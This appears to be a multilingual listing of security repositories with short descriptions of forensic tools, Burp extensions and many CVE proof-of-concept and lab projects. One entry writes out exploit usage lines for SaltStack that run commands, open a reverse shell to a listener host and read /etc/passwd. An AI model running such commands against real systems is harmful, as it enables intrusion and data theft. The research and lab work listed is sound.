forensictools

forensictools é um kit de ferramentas projetado para perícia digital, oferecendo uma ampla gama de ferramentas. Seu principal objetivo é simplificar a criação de um ambiente virtual para a realização de exames forenses. Além de instalar as ferramentas, o forensictools integra perfeitamente os...

progress-burp

Rastreador de Progresso Extensão do Burp Suite para rastrear o progresso de avaliação de vulnerabilidades. Funcionalidades Capturar itens requisições únicas das ferramentas do Burp Suite Proxy, Repetidor, Destino. A chave única da requisição é definida como: destino host, porta, protocolo, caminh...

CVE-2024-53677-S2-067

🚨🚨 CVE-2024-53677-S2-067🚨🚨 सुरक्षा परामर्श: CVE-2024-53677 – गंभीर Apache Struts रिमोट कोड निष्पादन भेद्यता परामर्श दिनांक: 14 दिसंबर 2024 CVE ID: CVE-2024-53677 CVSS स्कोर: 9.5 गंभीर अवलोकन लोकप्रिय Apache Struts फ्रेमवर्क में एक गंभीर भेद्यता, CVE-2024-53677, की पहचान की गई है, जो संभावित रूप स...

doctrack

Doctrack Ferramenta para manipular e armamentar documentos Office Open XML. Funcionalidades Criar documentos Office Open XML Word, Excel Inserir pixels de rastreamento e caminhos UNC Injeção remota de Template Inserir partes CustomXML Inspecionar URLs de destino externas, metadados e partes Custo...

CVE-2024-36991

CVE-2024-36991 CVE-2024-36991 का POC: यह एक्सप्लॉइट Splunk के /etc/passwd फ़ाइल को पढ़ने का प्रयास करेगा। अवलोकन यह CVE-2024-36991 के लिए एक बल्क स्कैनिंग और शोषण उपकरण है: पथ ट्रैवर्सल जो Windows पर Splunk Enterprise के संस्करण 9.2.2, 9.1.5 और 9.0.10 से नीचे के संस्करणों को प्रभावित करता है। इस...

CVE-2025-55182

CVE-2025-55182 RCE Ferramenta de verificação pessoal para verificar a vulnerabilidade CVE-2025-55182 Princípio da vulnerabilidade Os React Server Components, ao decodificar o payload enviado ao endpoint da função do servidor, apresentam uma falha na resolução de caminhos. Eles usam dois pontos pa...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2019-16278

Exploits para CVE-2019-16278 e CVE-2019-16279 Nostromo httpd é propenso a 2 vulnerabilidades críticas para versões &1 Este bug se deve a uma correção incompleta para CVE-2011-0751. Podemos contornar uma verificação de /../ que nos permite executar /bin/sh com argumentos arbitrários. Exemplo $...

CVE-2025-55182-research

CVE-2025-55182 - RCE em Componentes de Servidor React NOTA: Escrito por IA/Claude https://github.com/ejpir/CVE-2025-55182-bypass Resumo CVE-2025-55182 é uma vulnerabilidade crítica de RCE no Protocolo Flight do React. O ataque encadeia path traversal + injeção de chunk falsa + abuso do...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49 पर CVE-2021-42013 कमजोरी Path Traversal & RCE का अनुकरण करने वाली Docker-आधारित पैठ परीक्षण प्रयोगशाला। यह परियोजना, Apache HTTP Server 2.4.49 पर मौजूद CVE-2021-42013 कमजोरी को एक पृथक वातावरण में अनुकरण और शोषण करने के उद्देश्य से तैयार की गई ह...

dnsdiag

DNS Measurement, Troubleshooting and Security Auditing Toolset Have you ever wondered if your ISP is intercepting your DNS traffic? Have you noticed any unusual behavior in your DNS responses, or been redirected to the wrong address and suspected something might be off with your DNS? We offer a...

santa

Santa Santa is a binary and file access authorization system for macOS. It consists of a system extension that monitors for executions & file access, and makes decisions based on the contents of a local database, a GUI agent that notifies the user in case of a block decision, a background service...

CVE-2024-27292

CVE-2024-27292 : Docassemble V1.4.96 बिना प्रमाणीकरण के पाथ ट्रैवर्सल CVE-2024-27292 के लिए भेद्यता पहचान और शोषण हेतु CVEHunter टूल, जो अतुल्यकालिक Asynchronous प्रदर्शन के साथ कार्य करता है। स्थापना git clone https://github.com/th3gokul/CVE-2024-27292.git cd CVE-2024-27292 pip install -r...

cve-2026-16219-croogo-lab

CVE-2026-16219: Croogo FileManager रक्षात्मक प्रयोगशाला यह रिपॉजिटरी Croogo CMS में CVE-2026-16219 के रूप में ट्रैक किए गए पथ-प्राधिकरण दोष का दस्तावेजीकरण करती है और उसे सुरक्षित रूप से प्रदर्शित करती है। यह डिफेंडरों, अनुरक्षकों, छात्रों और शोधकर्ताओं के लिए है जो उन प्रणालियों का परीक्षण कर रह...

CVE-2021-41773_42013

CVE-2021-41773 और CVE-2021-42013 प्रयोगशाला सेटअप सेटअप $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache नोट: httpd.conf फ़ाइलें डिफ़ॉल्ट रूप से RCE के लिए संवेदनशील होने क...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49-2.4.50 में पाथ नॉर्मलाइज़ेशन में किए गए बदलाव में एक दोष पाया गया। एक हमलावर पाथ ट्रैवर्सल हमले का उपयोग करके URLs को अपेक्षित डॉक्यूमेंट रूट के बाहर की फाइलों से मैप कर सकता है। यदि डॉक्यूमेंट रूट के बाहर की फाइलें "require all denied" द्वारा सुरक्षित नही...

CVE-2024-32258

अवलोकन CVE आईडी : CVE-2024-32258 प्रकार : Path Traversal विक्रेता : FCEUX उत्पाद : FCEUXNetPlay संस्करण : 2.7.0 सुधार : 48b48e7c13be1b949074f42660a33c7ef57135e1 विवरण FCEUX एक NES एमुलेटर है जो हमें हमारे बचपन में ले जा सकता है। यह कई रोचक सुविधाएँ प्रदान करता है, जैसे दो खिलाड़ी ऑनलाइन गेम खेल...

CVE-2025-64446

POC - CVE-2025-64446 - पाथ ट्रैवर्सल + ऑथ बायपास के माध्यम से FortiWeb RCE अवलोकन Fortinet उत्पाद आज एंटरप्राइज़ नेटवर्क की सुरक्षा करने वाले सबसे अधिक युद्ध-परीक्षित उपकरणों में से हैं — और विडंबना यह है कि जिस क्षण कोई Forti उपकरण कमजोर हो जाता है, विस्फोट का दायरा विनाशकारी होता है। 2025 के अं...

forbidden

Forbidden Bypass 4xx HTTP response status codes and more. The tool is based on Python Requests, PycURL, and HTTP Client. Tested on Kali Linux v2024.2 64-bit. Made for educational purposes. I hope it will help! Future plans: Add the silent option to suppress console output. Add the no color option...

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC poc Apenas verifica o status de retorno do caminho de alguém POC Apenas para teste, nenhum módulo EXP foi adicionado POC apenas para teste, módulo exp não adicionado...